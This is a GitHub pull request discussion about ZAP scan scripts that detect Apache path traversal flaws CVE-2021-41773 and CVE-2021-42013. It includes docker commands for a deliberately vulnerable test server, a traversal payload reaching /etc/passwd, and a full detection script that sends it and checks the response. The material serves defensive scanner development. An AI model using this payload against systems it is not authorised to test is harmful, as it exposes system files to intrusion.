Skip to content

Conversation

@kingthorin
Copy link
Member

@kingthorin kingthorin commented Oct 9, 2021

  • Tweak targeted script, set the path as escaped so that things are further encoded making it fail. Remove undefined pluginid, use -1.
  • Add changelog note.

Signed-off-by: kingthorin kingthorin@users.noreply.github.com

- Tweak targeted script set the path as escaped so that things are
further encoded making it fail. Remove undefined pluginid, use -1.
- Add changelog note.

Signed-off-by: kingthorin <kingthorin@users.noreply.github.com>
@kingthorin
Copy link
Member Author

kingthorin commented Oct 9, 2021

Tested against a dockerized vuln apache:

docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773

@kingthorin
Copy link
Member Author

kingthorin commented Oct 10, 2021

Unfortunately it seems we can't do a script for CVE-2021-42013

java.lang.RuntimeException: org.apache.commons.httpclient.URIException:
 Failed to set URI [http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd]:
 Invalid URL encoding: not a valid digit (radix 16): 37

Test Target:

docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013

@thc202
Copy link
Member

thc202 commented Oct 10, 2021

Set a URI that accepts/sets any path.

@kingthorin
Copy link
Member Author

But then it still tries to encode things, so the % get mangled, that's why I had to tweak this one.

@thc202
Copy link
Member

thc202 commented Oct 10, 2021

If the URI you are setting accepts anything the encode will not happen.

@kingthorin
Copy link
Member Author

Ok I'll have a look at the URI constructors.

@thc202
Copy link
Member

thc202 commented Oct 10, 2021

You need to extend it and override the setPath (or raw) method.

@kingthorin
Copy link
Member Author

Ok, that makes more sense. Thank you!

@kingthorin kingthorin merged commit 301c65c into zaproxy:main Oct 11, 2021
@kingthorin kingthorin deleted the cve202141773-apache-2 branch October 11, 2021 10:08
@thc202
Copy link
Member

thc202 commented Oct 11, 2021

I thought you were going to update the script to properly set the path.

@kingthorin
Copy link
Member Author

This one works as expected, the discussion was for a possible second script that needs the path set including multiple %%.

@thc202
Copy link
Member

thc202 commented Oct 11, 2021

Thanks for the clarification.

@kingthorin
Copy link
Member Author

@kingthorin
Copy link
Member Author

kingthorin commented Oct 11, 2021

I added:

var URI = Java.type("org.apache.commons.httpclient.URI")
var PlainURI = Java.extend(URI, {
	setPath: function(path) {
            print(path);
            _path = path.toCharArray();
	}
});

But then when I try to use it the path still isn't set properly 😢

    var newUri = new PlainURI(msg.getRequestHeader().getURI().toString(), true);
    newUri.setPath(attackPath);
    msg.getRequestHeader().setURI(newUri);
    print(newUri.toString());
    print(msg.getRequestHeader().getURI().toString());
[42013] Testing Script against URL - http://localhost:8080/
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
http://localhost:8080/
http://localhost:8080/
[42013] Script run completed.

It doesn't seem like the assignment in PlainURI is effective.

@thc202
Copy link
Member

thc202 commented Oct 11, 2021

You need to call setURI() after the _path assignment.

@kingthorin
Copy link
Member Author

<eval>:104 ReferenceError: "setUri" is not defined<eval>:104 ReferenceError: "setUri" is not defined or if I use this.setUri() I get <eval>:104 TypeError: this.setUri is not a function<eval>:104 TypeError: this.setUri is not a function 😢
Java.super(newUri).setUri(); also results in "not a function"

@thc202
Copy link
Member

thc202 commented Oct 11, 2021

Note the case setURI().

@kingthorin
Copy link
Member Author

Oh crud, thank you!

@kingthorin
Copy link
Member Author

kingthorin commented Oct 11, 2021

I wish it'd been that easy. This seems to be the only format that doesn't error but it also doesn't work:

/**
 * Scan rule for Apache 2.4.50 path traversal CVE-2021-42013.
 */

var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender")
var Model = Java.type("org.parosproxy.paros.model.Model")
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference")
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader")
var Control = Java.type("org.parosproxy.paros.control.Control")
var ExtensionAlert = Java.type("org.zaproxy.zap.extension.alert.ExtensionAlert")
var session = Model.getSingleton().getSession();

// Print Statements using script name
function logger() {
    print("[" + this["zap.script.name"] + "] " + arguments[0]);
}

/**
 * A function which will be invoked against a specific "targeted" message.
 * 
 * @param msg - the HTTP message being acted upon. This is an HttpMessage object.
 */
function invokeWith(msg) {

    var url = msg.getRequestHeader().getURI().toString();
    var alertName = "Apache Path Traversal - CVE-2021-42013"
    var alertDesc = "[CVE-2021-42013]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.50. " +
        "An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " +
        "of the document root are not protected by \"require all denied\" these requests can succeed. Additionally this flaw could " +
        "leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " +
        "affects Apache 2.4.49 and 2.4.50, but not earlier versions."
    var alertSol = "Upgrade to Apache 2.4.51 or newer."
    var alertReference = "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-42013"
    var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    var wascId = 33; // Path Traversal

    var attackPath = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd";

    // To check if script is running
    logger("Testing Script against URL - " + url);

    // msg.getRequestHeader().getURI().setRawPath(attackPath);
    var newUri = new PlainURI(msg.getRequestHeader().getURI().toString(), true);
    newUri.setPath(attackPath);
    Java.super(newUri).setURI();
    msg.getRequestHeader().setURI(newUri);
    print(newUri.toString());
    print(msg.getRequestHeader().getURI().toString());
    var connectionParams = Model.getSingleton().getOptionsParam().getConnectionParam();
    var sender = new HttpSender(connectionParams, true, 6);
    sender.sendAndReceive(msg);
    var status = msg.getResponseHeader().getStatusCode();
    var rebody = msg.getResponseBody().toString();
    var re = /root\:x\:0\:0\:root/g

    // Checks to make sure that the response indicates the test was successful
    if (status === 200 && re.test(rebody)) {
        re.lastIndex = 0
        var alertEvidence = re.exec(rebody);
        customAlert(
            3, // risk: 0: info, 1: low, 2: medium, 3: high
            3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
            alertName,
            alertDesc,
            attackPath,
            alertEvidence,
            alertSol,
            alertReference,
            cweId,
            wascId,
            msg,
            url
        );
    };
    logger("Script run completed.");
}

/**
 * Raise an alert.
 * @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
 */
function customAlert(alertRisk, alertConfidence, alertName, alertDesc, alertAttack, alertEvidence, alertSol, alertReference, cweId, wascId, msg, url) {
    var extensionAlert = Control.getSingleton().getExtensionLoader().getExtension(ExtensionAlert.NAME);
    var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);

    var alert = new org.parosproxy.paros.core.scanner.Alert(-1, alertRisk, alertConfidence, alertName);
    alert.setDescription(alertDesc);
    alert.setAttack(alertAttack);
    alert.setEvidence(alertEvidence);
    alert.setSolution(alertSol);
    alert.setReference(alertReference);
    alert.setCweId(cweId);
    alert.setWascId(wascId);
    alert.setMessage(msg);
    alert.setUri(url);

    extensionAlert.alertFound(alert, ref);
}

var URI = Java.type("org.apache.commons.httpclient.URI")
var PlainURI = Java.extend(URI, {
	setPath: function(path) {
            print(path);
            _path = path.toCharArray();
	}
});

Also tried:

  • Java.super(PlainURI).setURI(); right after the _path assignment.
  • super.setURI() right after the _path assignment.
  • setURI() right after the _path assignment.
  • Java.super(this).setURI() right after the _path assignment.

@thc202
Copy link
Member

thc202 commented Oct 11, 2021

You need to call it inside the setPath function.

@kingthorin
Copy link
Member Author

Ya that was the last four bullets

@thc202
Copy link
Member

thc202 commented Oct 11, 2021

It's able to call setURI() but not change _path

@kingthorin
Copy link
Member Author

Well I tried 🤷‍♂️

@thc202
Copy link
Member

thc202 commented Oct 12, 2021

Groovy or Kotlin should not have that limitation.

@kingthorin
Copy link
Member Author

I'll try one of those tonight. If I can get another PR in then great. Either way we should release this tomorrow.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

3 participants